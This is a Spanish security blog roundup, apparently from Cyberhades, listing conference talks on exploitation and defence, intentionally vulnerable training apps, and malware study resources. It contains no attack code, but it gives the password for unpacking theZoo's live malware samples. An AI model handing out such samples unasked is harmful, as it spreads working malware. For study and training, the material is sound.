• DSCompromised: A Windows DSC Attack Framework asia-16-Kazanciyan-DSCompromised-A-Windows-DSC-Attack-Framework.pdf
• Enterprise Apps: Bypassing the iOS Gatekeeper asia-16-Bashan-Enterprise-Apps-Bypassing-The-iOS-Gatekeeper.pdf asia-16-Bashan-Enterprise-Apps-Bypassing-The-iOS-Gatekeeper-wp.pdf
• Exploiting Linux and PaX ASLR's Weaknesses on 32-bit and 64-bit Systems asia-16-Marco-Gisbert-Exploiting-Linux-And-PaX-ASLRS-Weaknesses-On-32-And-64-Bit-Systems.pdf asia-16-Marco-Gisbert-Exploiting-Linux-And-PaX-ASLRS-Weaknesses-On-32-And-64-Bit-Systems-wp.pdf
• Hacking a Professional Drone asia-16-Rodday-Hacking-A-Professional-Drone.pdf
• Hey Your Parcel Looks Bad - Fuzzing and Exploiting Parcel-ization Vulnerabilities in Android asia-16-He-Hey-Your-Parcel-Looks-Bad-Fuzzing-And-Exploiting-Parcelization-Vulnerabilities-In-Android.pdf asia-16-He-Hey-Your-Parcel-Looks-Bad-Fuzzing-And-Exploiting-Parcelization-Vulnerabilities-In-Android-wp.pdf
• I'm Not a Human: Breaking the Google reCAPTCHA asia-16-Sivakorn-Im-Not-a-Human-Breaking-the-Google-reCAPTCHA.pdf asia-16-Sivakorn-Im-Not-a-Human-Breaking-the-Google-reCAPTCHA-wp.pdf
• Incident Response @ Scale - Building a Next Generation SOC asia-16-Cohen-Incident-Response-At-Scale-Building-A-Next-Generation-SOC.pdf
• Let's See What's Out There - Mapping the Wireless IoT asia-16-Zillner-Complete-Lets-See-Whats-Out-There-Mapping-The-Wireless-IOT.pdf
• Locknote: Conclusions and Key Takeaways from Black Hat Asia 2016
• Multivariate Solutions to Emerging Passive DNS Challenges asia-16-Vixie-Multivariate-Solutions-to-Emerging-Passive-DNS-Challenges.pdf
• Never Trust Your Inputs: Causing 'Catastrophic Physical Consequences' from the Sensor (or How to Fool ADC) asia-16-Bolshev-Never-Trust-Your-Inputs-Causing-Catastrophic-Physical-Consequences-From-The-Sensor.pdf
• NumChecker: A System Approach for Kernel Rootkit Detection and Identification
• PLC-Blaster: A Worm Living Solely in the PLC asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf
• Practical New Developments in the BREACH Attack asia-16-Karakostas-Practical-New-Developments-In-The-BREACH-Attack.pdf asia-16-Karakostas-Practical-New-Developments-In-The-BREACH-Attack-wp.pdf
• Rapid Radio Reversing asia-16-Ossmann-Rapid-Radio-Reversing.pdf asia-16-Ossmann-Rapid-Radio-Reversing-wp.pdf
• su-a-Cyder: Homebrewing Malware for iOS Like a B0$$! asia-16-Tamir-Su-A-Cyder-Homebrewing-Malware-For-iOS-Like-A-B0SS.pdf
• The Kitchen's Finally Burned Down: DLP Security Bakeoff
• The Perl Jam 2: The Camel Strikes Back asia-16-Rubin-The-Perl-Jam-2-The-Camel-Strikes-Back.pdf
• The Security Wolf of Wall Street: Fighting Crime with High-Frequency Classification and Natural Language Processing asia-16-Reuille-The-Security-Wolf-Of-Wall-Street-Fighting-Crime-With-High-Frequency-Classification-And-Natural-Language-Processing.pdf asia-16-Reuille-The-Security-Wolf-Of-Wall-Street-Fighting-Crime-With-High-Frequency-Classification-And-Natural-Language-Processing-wp.pdf
• The Tactical Application Security Program: Getting Stuff Done asia-16-Scott-Tactical-Application-Security-Program-Getting-Stuff-Done.pdf

PD: no están todas las presentaciones, pero si publican más actualizaremos la lista.

Presentaciones de Troopers 16

Troopers, otra conocida conferencia sobre seguridad con sede en Alemania, ha publicado la mayoría de las presentaciones de la edición de este año (Troopers 16), celebrada el pasado mes de marzo.

• Opening Keynote
• Hiding your White-Box Designs is Not Enough
• Mind The Gap - Exploit Free Whitelisting Evasion Tactics
• Patch me if you can
• Attacking Next-Generation Firewalls
• Towards a LangSec-aware SDLC
• Preventing vulnerabilities in HANA-based deployments
• QNX: 99 Problems but a Microkernel ain't one!
• An easy way into your multi-million dollar SAP systems: An unknown default SAP account
• unrubby: reversing without reversing
• Imma Chargin Mah Lazer - How to protect against (D)DoS attacks
• Deep-dive into SAP archive file formats
• Crypto code: the 9 circles of testing
• Passive Intelligence Gathering and Analytics - It’s all Just Metadata!
• BetterCrypto: three years in
• The road to secure Smart Cars: ENISA approach
• Medical Device Security: Hack or Hype?
• The Joy of Sandbox Mitigations
• Caring for file formats
• Unpatchable Living with a vulnerable implanted device
• One tool to rule them all - and what can it lead to
• Planes, Trains and Automobiles: The Internet of Deadly Things

Colección de documentos académicos entorno a Ruby

Personalmente creo firmemente en la educación continua y la lectura es uno de los pilares fundamentales de la  misma. De hecho, la lectura en general debería ser parte de nuestra vida.

Leer libros, artículos, blogs, etc es algo que me gusta bastante, pero algo a lo que le tengo amor-odio son lo textos académicos. He leído muchos que he disfrutado y otros que son muy aburridos, quizás porque están llenos de teoría y anotaciones matemáticas que me superan.

Cómo funcionan ltrace y strace, y en qué se …

ltrace y strace son dos herramientas comunes en sistemas *NIX que son súper útiles a la hora de ver las llamadas a librerías y sistema de un proceso o aplicación. Muy útiles a la hora de depurar un proceso o hacer ingeniería inversa.

En estas dos entradas:

• How does strace work?
• How does ltrace work?

El autor nos explica el funcionamiento interno de ambas y las diferencias entre las mismas. Son entradas muy cortas, pero muy educativas.

Vídeos de Black Hat Europe 2015

Después de las diapositivas, ya se han puesto disponible los vídeos de Black Hat Europe 2015:

• Keynote: What Got Us Here Wont Get Us There
• Bypassing Self-Encrypting Drives (SED) in Enterprise Environments
• Breaking Access Controls with Blekey
• Cybersecurity for Oil and Gas Industries: How Hackers Can Manipulate Oil Stocks
• Panel: What You Need To Know About The Changing Regulatory Landscape In Information Security
• Attacking The XNU Kernel In El Capitain
• Automating Linux Malware Analysis Using Limon Sandbox
• Even The Lastpass Will Be Stolen, Deal With It!
• Silently Breaking ASLR In The Cloud
• A Peek Under the Blue Coat
• Androbugs Framework: An Android Application Security Vilnerability Scanner
• Stegospolit - Exploit Delivery With Steganography and Polyglots
• Watching The Watchdog: Protecting Kerberos Authentication With Network Monitoring
• Authenticator Leakage Through Backup Channels on Android
• Cybercrime in The Deep Web
• Hey Man, Have You Forgotten To Intialize Your Memory?
• Unboxing The White-Box: Practical Attacks Against Obfuscated Ciphers
• Commix: Detecting and Exploiting Command Injection Flaws
• Is Your Timespace Safe? - Time and Position Spoofing Opensourcely
• Lessons From Defending The Indefensible
• Your Scripts In My Page - What Could Possibly Go Wrong?
• Continuous Intrusion: Why CI Tools Are An Attacker's Best Friends
• Going Auth The Rails On A Crazy Train
• Hiding In Plain Sight - Advances In Malware Covert Communication Channels
• LTE & IMSI Catcher Myths
• How To Break XML Encryption - Automatically
• Implementing Practical Electrical Glitching Attacks
• (In-)Security of Backend-As-A-Service
• Defending Against Malicious Application Compatibility Shims
• Exploiting Adobe Flash Player In The Era Of Control Flow Guard
• Fuzzing Android: A Recipe For Uncovering Vulnerabilities Inside System Components In Android
• VOIP Wars: Destroying Jar Jar Lync
• Faux Disk Encryption: Realities of Secure Storage On Mobile Devices
• New (And Newly - Changed) Fully Qualified Doman Names: A View of Worldwide Changes to DNS
• Self-Driving and Connected Cars: Fooling Sensors and Tracking Drivers
• Vulnerability Exploitation In Docker Container Environments
• All your Root Checks Belong To Us: The Sad State of Root Detection
• Bypassing Local Windows Authentication To Defeat Full Disk Encryption
• New Tool For Discovering Flash player 0-Day Attacks in the Wild from Various Channels
• Triaging Crashed With Backward Taint Analysis For Arm Architecture
• Locknote: Conclusions and Key Takeaways from Black Hat Europe 2015

Juega a Tron por SSH

SSH Tron es el típico juego de Tron, jugable desde la consola a través de SSH. Sólo tienes que conectarte a:

ssh sshtron.zachlatta.com

Para moverte tienes que usar las teclas HJKL (típicas en Vim) o WASD. No uses los cursores.

Metaphor, prueba de concepto de explotación de …

Seguro que muchos os acordáis de la noticia que salió a la luz el año pasado sobre Stagefright (PDF). El enlace es de la presentación de dicha vulnerabilidad en Black Hat.

Dicha noticia levantó bastante revuelo, porque anunciaba que cualquier teléfono móvil con Android (versiones entre 2.2 - 4.0, 5.0 y 5.1) era vulnerable y podría ser comprometido con un simple mensaje multimedia (realmente con cualquier fichero multimedia) sin intervención del usuario. El culpable, una librería (libstagefright) encargada del procesamiento multimedia. La recomendación, mientras no hubiera parche era la de deshabilitar la opción de descarga automática cuando se recibiera un mensaje multimedia (para no ser comprometido de forma automática) y la de no abrir un mensaje de fuente desconocida (sentido común).

Curso de pentesting sobre aplicaciones Android

DIVA Android (Damn Insecure and vulnerable App for Android) es una aplicación Android intencionadamente vulnerable, creada con el objetivo de ser usada con fines educativos, para la enseñanza o el aprendizaje de pentesting en aplicaciones Android.

Desde Pentesting Academy nos traen un curso llamado Pentesting Android Apps - DIVA, el cual usa como base la aplicación anteriormente mencionada.

El curso esta compuesto por 13 vídeos disponibles de forma gratuita:

Cómo recuperar los datos de un disco duro

https://www.youtube.com/watch?v=rH8yjkVCdsA

No intentes esto en casa a menos que sepas verdaderamente lo que estás haciendo! :D

Seguridad informática para adolescentes

Institute for Security and Open Methodologies (ISECOM) es una organización sin ánimo de lucro con sedes en Barcelona y Nueva York. Ésta se inició como un movimiento para mejorar la verificación e implementación de la seguridad informática.

Anteriormente hemos hablado del Open Source Security Testing Methodology Manual, quizás el proyecto más conocido de dicha organización. Pero estos también trabajan en otros proyectos, entre ellos uno cuyo objetivo es concienciar a la juventud sobre seguridad informática y hacking: Hacker Highschool (Security Awareness for teens).

Imágenes de Linux Mint comprometidas

La famosa distribución Linux Mint (el sitio está actualmente abajo), ha publicado una entrada dónde avisan que las imágenes ISO de la versión 17.3 con el escrito Cinnamon han sido modificadas e incluyen una puerta trasera (backdoor).

Aunque no se han dado detalles de lo ocurrido, parece que la intrusión se produjo a través de Wordpress, desde donde los atacantes fueron capaces de conseguir una shell en el sistema con permisos www-data (normalmente el usuario propietario del contenido de dicha plataforma).

Repositorio público con malware real

theZoo, también conocido como Malware DB, es una base de datos / repositorio con ejemplos de malware real. Entre estos, también puedes acceder a su código fuente. El objetivo de esta base de datos es la poner a disposición del público de una forma fácil, software malicioso para su estudio. Normalmente acceder a ejemplares de malware real no se fácil.

Dicho proyecto se encuentra alojado en Github, éste contiene un directorio llamado malwares que a su vez contiene dos subdirectorios: Binaries y Source. Dentro de Binaries tenéis los ejemplos que se incluyen en este proyecto. Estos están organizados en directorios igualmente y dentro de cada uno tenéis un fichero (.pass) que contiene el password (infected) para descomprimir el fichero .zip en el mismo directorio, que contiene el malware real. Ojo, que ¡ES MALWARE REAL! El resto de ficheros no son más que el hash (md5 y sha256) del fichero malicioso para comprobar su integridad.

Vídeos de USENIX Enigma 2016

Otra de las grandes conferencias USENIX que tuvo lugar a finales de enero Enigma 2016, enfocada a ataques emergentes, tiene publicado los vídeos de las presentaciones. La lista no es muy amplia, pero la mayoría muy interesantes:

• ToStaticHTML for Everyone! About DOMPurify, ...
• Building a Competitive Hacking Team
• Verification, Auditing, and Evidence: If We Didn’t Notice Anything Wrong...
• Keys Under Doormats: Mandating Insecurity...
• Trust Beyond the First Hop–What Really Happens to Data Sent to HTTPS Websites
• Drops for Stuff: An Analysis of Reshipping Mule Scams
• Sanitize, Fuzz, and Harden Your C++ Code
• Dolla Dolla Bill Y'all: Cybercrime Cashouts
• Usable Security–The Source Awakens
• Defending, Detecting, and Responding to Hardware and Firmware Attacks
• Timeless Debugging
• Modern Automotive Security: History, Disclosure, and Consequences
• Protecting High Risk Users
• Opening Video
• PKI at Scale Using Short-lived Certificates
• We Need Something Better—Building STAR Vote
• Bullet-Proof Credit Card Processing
• Why Is Usable Security Hard, and What Should We Do about it?
• NSA TAO Chief on Disrupting Nation State Hackers
• The Golden Age of Bulk Surveillance
• Hacking Health: Security in Healthcare IT Systems

Vídeos de linux.conf.au 2016

Ya están publicadas todas las charlas de linux.conf.au 2016. Aquí os dejo como de costumbre la lista completa:

• Open Hardware Miniconf - Lightning talks, project showcase and general discussions
• Functional Programming Lightning Talks and Miniconf Close
• Open Knowledge Miniconf Opening
• Music and Multimedia Miniconf Lightning Talks
• Using Lnav
• Real Time Tuning Analysis
• Synchronised multi-room multimedia playback and synchronised live media processing and mixing with G
• Improving thread synchronization in GlusterD (Daemon for Gluster) using Userspace RCU (Read-copy-upd
• Record and replay debugging with "rr"
• The future belongs to unikernels.
• Open information: Documenting data and methods
• Intro to Open Street Map
• Prospects and pitfalls in open demography
• Terry & the path to an autonomous robot
• Usable formal methods - are we there yet?
• Vanguard Linux receiver 'Dreambox'
• Security Topics in Open Cloud: Advanced Threats, 2015's Vulnerabilities ...
• Using Linux features to make a hacker's life hard
• Building and deploying the Genomics Virtual Laboratory on the cloud(s)
• Forcing Change in Healthcare through Open Standards
• From Commit to Cloud
• Keeping Pinterest Running
• Accessibility and Security
• Lightning Talks and Conference Closing
• Tutorial: The eChronos Real-Time Operating System - Just what you want, when you want it
• Open Source Software in Silicon Manufacturing
• Tutorial: Hunting Linux malware for fun and $flags
• Using the OpenRadio as RF test equipment
• Overcoming barriers to open source adoption in the public sector
• Raspberry Pi Hacks
• Order in the chaos: or lessons learnt on planning in operations
• Site Reliability Engineering at Dropbox
• He aha te mea nui?
• GStreamer in the living room and in outer space
• Keynote #4 - Ms Genevieve Bell
• Helicopters and rocket-planes
• secretd - another take on securely storing credentials
• The Emperor’s New Closure: FP in Javascript
• Open Source Two Way Radio
• Linux Guest RDMA On Hyper-V
• Troublesome Privacy Measures: using TPMs to protect users
• Haskell is Not For Production and Other Tales
• Open Source Technologies in Neuroscience
• Swift Functional Programming
• Practical Functional Architecture
• Data made out of functions
• Fuzz all the things!
• Speaking their language: How to write for technical and non-technical audiences
• Open Radio Miniconf Panel Discussion
• Tutorial - Embedded sensor data with Lora radio modules
• All Your Modem are Belong To Us
• Machine Ethics and Emerging Technologies
• Free as in cheap gadgets: the ESP8266
• Copyleft For the Next Decade: A Comprehensive Plan
• Creating bespoke logging systems and dashboards with Grafana, in fifteen minutes
• The life of a sysadmin in a research environment
• Pingbeat: y'know, for pings!
• 'Can you hear me now?' Networking for containers
• A Gentle Introduction to Ceph
• CloudABI: Cloud computing meets fine-grained capabilities
• CloudABI: Cloud computing meets fine-grained capabilities
• Revisiting Unix principles for modern systems automation
• The world of 100G networking
• Export Control: A primer for open source hackers
• Life is better with Rust's community automation
• Ergonomics of Automation
• Python's Dark Corners
• Cloud Anti-Patterns
• Open information: Documenting data and methods
• Preventing Cat-astrophes with GNU MediaGoblin
• Network Performance Tuning
• Functional programming in Python with Toolz and fn.py
• The Essential Tools of Open-Source: Functional Programming, Parametricity, Types
• Prying Open Government - An Introduction to Freedom of Information
• What a Good Procedure is Made of
• Cutdown!: HAB Telemetry System
• Kernel Miniconf Unconference
• Kernel Miniconf Unconference
• Cloud Crafting – Public / Private / Hybrid
• RCU Mutation Testing
• Changes in the security module infrastructure
• Kerbal space program simulator hardware controller and display
• Hardware projects using eChronos and IwIP: toward high-assurance IoT
• LinuxCNC for fun and profit - now with deadly lasers!
• Open source car engine management
• ESP8266 ESPlant (Wi-Fi garden sensors) design and operation
• Pick and Place Machine (live demonstration)
• The Twelve-Factor Container
• Open Hardware Assembly Workshop Continued
• Tutorial: Packets don't lie: how can you use tcpdump/tshark (wireshark) to prove your point.
• Education and the AGPL: A Case Study
• Continuous Delivery using blue-green deployments and immutable infrastructure
• Tutorial: Applied Data Science in Python
• How To Write A Linux Security Module That Makes Sense For You
• Playing to lose: making sensible security decisions by assuming the worst
• Tutorial: The Power of Open Data with ELK
• Tutorial: Identity Management with FreeIPA
• Open Source and back again
• An introduction to monitoring and alerting with timeseries at scale, with Prometheus
• Embrace the Atomic (Display) Age
• What I've learned as the kernel docs maintainer
• Adventures in OpenPower Firmware
• Using Persistent Memory for Fun and Profit
• Creating an open and distributed video broadcast production environment using GStreamer
• Challenges when Scaling: Adventures in Swift's Sharding
• Building museum exhibits with open hardware: Raspberry Pi & Arduino
• Documentation Miniconf
• Builds, dependencies and deployment in the modern multiplatform world
• My beautiful jacket
• Two years of tech writing
• edlib - because one more editor is never enough
• SubPos - A "Dataless" Wi-Fi Positioning System
• Opening classrooms through the Australian Curriculum
• Sentrifarm - open hardware telemetry system for Australian farming conditions
• What Happens When 4096 Cores All Do synchronize_rcu_expedited()?
• Dropbox Database Infrastructure
• Open Source Tools for Distributed Systems Administration
• Five* non-cryptographic hash functions enter. One hash function leaves.
• Message fromthe ABACBS President
• Hardware and Software Architecture of The Machine
• Keynote #2 - Ms Catarina Mota
• Internet Archive: Universal Access. Open APIs
• Open Data + Video Games = Win
• Linux driven microwave
• A Detailed Look at Erasure Codes in OpenStack Swift
• Welcoming Everyone: Five Years of Inclusion and Outreach Programmes at PyCon Australia
• Open-Source Software Stack for High-Assurance Autonomous Vehicles
• Wait, ?tahW: The Twisted Road to Right-to-Left Language Support
• Open Tech School - Open learning in practice
• A live demo of the CubicSDR open source SDR software
• Keynote #1 - Mr George Fong
• Conference Opening
• Melvin: A new implementation of LVM in Rust
• Is that a data-center in your pocket?
• On working from home
• A brief history of technical writing with examples
• Informal Jam / Demo session and Lightning Talks
• Twoskip - a robust single-file key-value database
• Conference Recording 2.0: Building a Better System
• Free Software in the Audiokinetic Laboratory
• Why no FOSS on stage right?
• An Open Approach to Whole-House Audio
• Sequencing your poo with a USB stick
• Applied bioinformatics using open source software
• Going Faster: Continuous Delivery for Firefox
• R and Bioconductor: open source software for analysing genomic data
• Production Pathology: from spinning wheels to knitting mills
• Open Sourcing Anti-Harassment Methodologies
• Law and technology: impedance mismatch
• Microscopium: Interactive clustering of high content screen images
• Many Roads to Bioinformatics
• Computer Performance Microscopy with SHIM
• Clinical Genomics: a Computational Perspective
• Open Source and Bioinformatics Miniconf Welcome
• Live Migration of Linux Containers
• clsXlca Opening
• Managing Infrastructure as Code

Cadenas de texto "comprometedoras"

Filtra los datos de entrada y sanea la salida (filter input, sanitize output) esto es de Seguridad 101, posiblemente las premisas más básicas en cuanto a temas de seguridad informática.

Aunque como bien decía estos son dos conceptos muy básicos, eso no quiere decir que sean fáciles de implementar. Sobre todo el filtrado de la entrada de datos.

Para cada lenguaje (con los que yo he trabajado) existen librerías que te ayudan con esta ardua tarea e incluso algunos soportan al menos de forma parcial este tipo de funcionalidad en el propio lenguaje.

Conoce tus enemigos

A finales del año pasado el Instituto para tecnología de infraestructuras críticas (Institute for critical infrastructure technology ) publicó un documento dónde recogían información sobre los grupos activos detrás de ataques, malware, amenazas, etc. En estos incluyen desde gobiernos a hacktivistas.

Este mes de febrero se ha publicado la segunda versión de dicho documento llamado Know your enemies 2.0 (PDF). El documento está organizado por países, consta de 81 páginas y contiene información general de cada grupo. No es nada técnico aunque requiere tener conocimiento de la jerga “hacker”. Al final del documento tienes dos apéndices, uno con un pequeño vocabulario y el segundo con algunas de las técnicas más comunes usadas como vector de ataque.

Libro de texto (gratuito) de Princeton sobre …

Si te interesa saber como funciona Bitcoin, este libro te interesa.

La prestigiosa universidad de Princeton está trabajando en la publicación de un libro sobre la famosa divisa digital: Bitcoin. El libro está aún en fase de revisión y se espera que se publique allá por junio, pero el primer borrador completo está disponible para su descarga (PDF).

El libro que se titula Bitcoin and Cryptocurrency Technologies, y está escrito en forma de diálogo, lo que hace su lectura muy amena. Si tienes conocimientos sobre ciencias de computación y programación, y quieres saber como funciona Bitcoin desde el punto de vista técnico, este libro es para ti.

Dia de internet segura - 2 Gb gratis en google

Durante el día de hoy exclusivamente, con motivo del día de internet segura, si completáis la revisión de seguridad de vuestra cuenta de google tendréis 2 gigas extra para siempre.

Para conseguirlos solo tenéis que iniciar sesión en vuestra cuenta y acceder en la parte superior derecha a los datos de vuestra cuenta (Mi cuenta).

A continuación, en el apartado “Comprobación de seguridad” pulsáis “empezar” y completáis la revisión.

Museo del malware

En la impresionante web de archive.org han publicado un repositorio con malware (virus) distribuido durante los años 80s y 90s.

El Museo del Malware, así se llama, es parte de la librería de software de MS-DOS y contiene ahora mismo un vídeo y 78 ficheros:

• The History and the Evolution of Computer Viruses (Presentación de Mikko Hypponen - DEFCON 19)
• Malware Example: A A.COM
• Malware Example: AIDS 552.COM
• Malware Example: AMBULANC.COM
• Malware Example: ARIANNA.COM
• Malware Example: CASC-SIM.COM
• Malware Example: CECE.COM
• Malware Example: CENTIPED.COM
• Malware Example: CHAD.COM
• Malware Example: CHINESE.COM
• Malware Example: COFFSHOP.COM
• Malware Example: COSMOS G.COM
• Malware Example: CRASH.COM
• Malware Example: CREW.COM
• Malware Example: CSC-SIMX.COM
• Malware Example: DELYRIUM.COM
• Malware Example: DEN ZUK.COM
• Malware Example: DENZ-SIM.COM
• Malware Example: ELVIRA G.COM
• Malware Example: FELLOW.COM
• Malware Example: FLAME.COM
• Malware Example: FLIP.COM
• Malware Example: FROLL.COM
• Malware Example: FUM-SIMD.COM
• Malware Example: FUM-SIMX.COM
• Malware Example: FUMN-SIM.COM
• Malware Example: GIRLS.COM
• Malware Example: HA.COM
• Malware Example: HAFEN.COM
• Malware Example: HATE.COM
• Malware Example: HH HH.COM
• Malware Example: HYDRA_II.COM
• Malware Example: HYMN.COM
• Malware Example: I13.COM
• Malware Example: ITAL-SIM.COM
• Malware Example: ITALIAN.COM
• Malware Example: ITL-SIMX.COM
• Malware Example: IWAG.COM
• Malware Example: JERU-SIM.COM
• Malware Example: KUKAC.COM
• Malware Example: KUKU.COM
• Malware Example: LITTBROT.COM
• Malware Example: LSD.COM
• Malware Example: MALMSEY.COM
• Malware Example: MARAWI.COM
• Malware Example: MARINE.COM
• Malware Example: MARKIZ.COM
• Malware Example: MARS G.COM
• Malware Example: META1103.COM
• Malware Example: MORSE.COM
• Malware Example: MTZ.COM
• Malware Example: NAMELESS.COM
• Malware Example: NOPSRN G.COM
• Malware Example: ORO-SIMX.COM
• Malware Example: OROP-SIM.COM
• Malware Example: PYRAMID.COM
• Malware Example: Q CASINO.COM
• Malware Example: Q FRODO.COM
• Malware Example: Q T FE03.COM
• Malware Example: Q TEQUIL.COM
• Malware Example: Q V SIGN.COM
• Malware Example: Q WALKER.COM
• Malware Example: QSPRAYER.COM
• Malware Example: REDCODE.COM
• Malware Example: SCREENMI.COM
• Malware Example: SHAKER.COM
• Malware Example: SHIFTER.COM
• Malware Example: SKYNET.COM
• Malware Example: SPARTAK2.COM
• Malware Example: SPELLBOU.COM
• Malware Example: STUNNING.COM
• Malware Example: TECHNO.COM
• Malware Example: TUCUMAN.COM
• Malware Example: VIRDEM.COM
• Malware Example: YANK-SIM.COM
• Malware Example: YNK-SIMX.COM
• Malware Example: Z ALEX.COM
• Malware Example: ZHU.COM
• Malware Example: ZOHRA.COM

Normalmente estos especímenes no son dañinos, en su mayoría, simplemente mostraban alguna animación por la pantalla o gastaban algún tipo de broma, pero en algunos casos, podrían ser dañinos.

Puedes bajarte los ficheros y probarlos por ti mismo. Según dice la web, aquellos con código maligno, han sido modificados para quitarles dicho código, con lo que deberían de ejecutarse sin dañar tu sistema. Si quieres probarlos por ti mismo, tu mejor opción posiblemente sea bajarte una versión de FreeDOS o algo parecido, pero siempre puedes verlos funcionar en el emulador embebido en el navegador que tienes en cada una de las páginas de los ficheros.

Reto hacking en dispositivo Arduino

En Black Hat Europe 2015 (Amsterdam) se lanzó un reto de hacking (CTF) de hardware a bajo nivel basado en una plataforma Arduino, RHme+ (Riscure Hack me). Este reto ha sido puesto a disposición del público, para aquel que quiere intentarlo. Sólo se ha publicado el fichero binario que tienes que volcar en una placa Arduino. Éste ha sido probado en Arduino nano 3.0, pero se supone que también debería funcionar en las siguientes versiones:

Vídeos de Shmoocon 2016

Ya tenemos disponibles los vídeos de la última edición de Shmoocon, conferencia de seguridad que se celebra en Washington DC.

• 0wn The Con
• Ask the EFF
• Attack On Titans
• AVLeak: Turning Antivirus Emulators Inside Out
• Be Free Little Guardbunny
• Breaking Bulbs Briskly By Bogus Broadcasts 1
• Building an Encyclopedia of Malware Configs (to punch miscreants)
• Closing Plenary: Information Security Programs in Academia
• Compressed Context Analytical Results For Computer Vision
• Containing an Attack with Linux Containers and AppArmor/SELinux
• Crypto and Quantum and Post Quantum
• Exploiting Memory Corruption
• Gatekeeper Exposed
• Hacking The Wireless World
• Hiding From The Investigator
• Keynote Address
• LostPass: Pixel-perfect LastPass Phishing
• LTE Security & Protocol Exploits
• Making Milware
• My Hash Is My Passport
• No Easy Breach
• Online No One Knows You're Dead
• Opening Remarks Rumblings Ruminatons Rants
• OSX Vulnerability Research and Why We Wrote Our Own Debugger
• P G Ohst Exploitation
• Penetration Testing Custom Tls Stacks
• Resistance Is Futile
• Reverse Engineering Wireless Scada Systems
• Software Security By The Numbers
• Speak Security And Enter
• Static Malware & Smtp Fail Analysis
• The Road to SYSTEM: Recycling Old Vulnerabilities for Unpatched Privilege Escalation and A New Network Attack
• #thingswikfound #omarax What Is It, And Why You May Care
• This Message Will Self Destruct In 10 Seconds
• Users Are People Too: How to Make Your Tools Not Suck for Humans
• Using The Algebraic Eraser To Secure Low Power Devices
• Where Do The Phishers Live
• You Ain't Seen Nothing Yet

Microhistoria: Ama tu país, pero nunca confíes en …

Esta es una de esas anécdotas que tanto nos gustan, aunque muy cortita, pero muy interesante.

Resulta que hace un par de días, a través de una serie de tweets de Alec Muffett, sobre las rutinas de arranque de Sun 2, mencionaba un hilo algo antiguo (de 11 años atrás) dónde se exponía lo que algunos pensaban era una especie de protesta contra el gobierno estadounidense o un huevo de pascua.

Kali Rolling 2016.1

Kali, la popular distribución Linux cargada de herramientas de auditoría de seguridad / pen-testing / hacking, llámalas como quieras, ha lanzado una nueva distribución Kali Rolling.

Esta nueva versión no es más que, una actualización del repositorio de paquetes. Como ya sabemos, Kali está basada en Debian y con ello gana una gran estabilidad como sistema, pero a su vez pierde bastante en la actualización de paquetes, con esto me refiero a que Debian tarda bastante en actualizar sus sistemas para no comprometer la estabilidad del mismo con paquetes que no estén lo suficientemente probado e integrado. Esta característica es fundamental en el entorno de servidores y/o sistemas críticos, pero en un entorno de usuario, el comprometer la estabilidad con la modernización del sistema, quizás no sea un mala idea, especialmente en sistemas como Kali, donde un usuario siempre quiera estar al día con las últimas versiones de las aplicaciones que usa.

Aplicaciones Android vulnerables

Con anterioridad hemos publicado algunas entradas hablando de ciertas aplicaciones Android intencionalmente vulnerables o de sitios web que entro otras cosas enlazan a aplicaciones de este índole.

En esta entrada voy a recolectar algunos enlaces específicos a aplicaciones móviles vulnerables para Android:

• OWASP GoatDroid
• Damn Vulnerable Android App
• Hacme Bank - Android v1.0
• ExploitMe Mobile Android Labs
• Colección de aplicaciones aparecidas en conferencias y CTFs
• DEFENDIO
• InsecureBankv2
• Sieve
• DIVA (Damn insecure and vulnerable App)
• Otra colección de aplicaciones aparecidas en CTFs (carnal0wnage - un poco más antigua)

Aquí hay bastantes aplicaciones para jugar y aprender a hacer ingeniería inversa a aplicaciones móviles para Android.

El videojuego de David Bowie

Allá por el año 1999, salió para PC y Dreamcast un videojuego llamado “Omikron: The Nomad Soul”: un juego de rol que, en su momento pasó sin pena ni gloria, pero que contaba con algunas características muy interesantes, como una gran profundidad en la historia o un estilo cinematográfico que no se había visto hasta entonces y que posteriormente se fue popularizando en el mundo de los videojuegos.

Mi show de luces y música de Navidad con Raspberry …

En otro de mis proyectos “juguete” con Raspberry Pi, le di un poco de vida a las luces de esta pasada Navidad y añadí música y sincronización entre estas.

Había querido publicar esta entrada por la época navideña, pero el tiempo no me lo permitió.

Este proyecto es realmente sencillo, ya que vamos a usar lightshow, un proyecto que nos va  a proporcionar la sincronización entre las luces y la música, así que todo el trabajo realmente está en el cableado de nuestros componentes.

John Romero acaba de crear un nivel nuevo para …

Sí, has oído bien. John Romero uno de los principales pilares detrás de juegos como Wolfenstein 3D, Dangerous Dave, Hexen,Doom y Quake, y co-fundador de id Software, acaba de crear un nuevo nivel para el mítico Doom.

Lo puedes descargar desde aquí.

Curso de análisis de malware

El Instituto Politécnico de Rensselaer ha publicado el material creado para su curso Malware Analysis - CSCI 4976.

El material publicado lo podéis descargar desde este enlace, su contenido es el siguiente:

• Malware_Analysis_Lectures.zip
• Malware_Analysis_Tools.zip
• Source code (zip)
• Source code (tar.gz)

Este curso usa como libro base el popular Practical Malware Analysis. El temario del mismo lo tenéis en este PDF.

Aunque el curso no requiere conocimientos previos sobre ingeniería inversa, sí que se recomienda tener conocimientos sobre arquitectura de ordenadores, C, ensamblador, manejo de memoria, etc.

Imagen docker con aplicación Node.js vulnerable

Damn Vulnerable Node Application (DVNA) es una aplicación intencionadamente vulnerable implementada sobre Node.js.

Node.js es una plataforma de Javascript escrita sobre el motor Chrome’s V8 JavaScript. Básicamente nos permite ejecutar código Javascript fuera del navegador. Está siendo muy usado actualmente en aplicaciones web, por aquellos que quieren basar toda su stack en Javascript. Por ello, familiarizarnos con esta arquitectura y conocer los distintos vectores de ataque es crucial para el auditor de seguridad o el desarrollador. El uno para encontrar posibles vulnerabilidades y el otro para evitarlas.

Programación de videojuegos para NES

Nintendo Entertainment System (NES) es una consola de videojuegos de 8-bits de Nintendo que fue lanzada a mediados de los 80s y se considera la más exitosa de su época.

En Cyberhades nos encanta la retroinformática como ya sabéis y como hemos dicho muchas veces nada mejor que aprender jugando. Si a ti también te gusta la retroinformática, loa videojuegos y la programación, aquí tienes otra oportunidad de pasar un buen rato.

Cómo programar en C en el año 2016

Desde que se creó C mucho ha llovido bastante y se han creado varios estándares. El último: C11, creado en 2011.

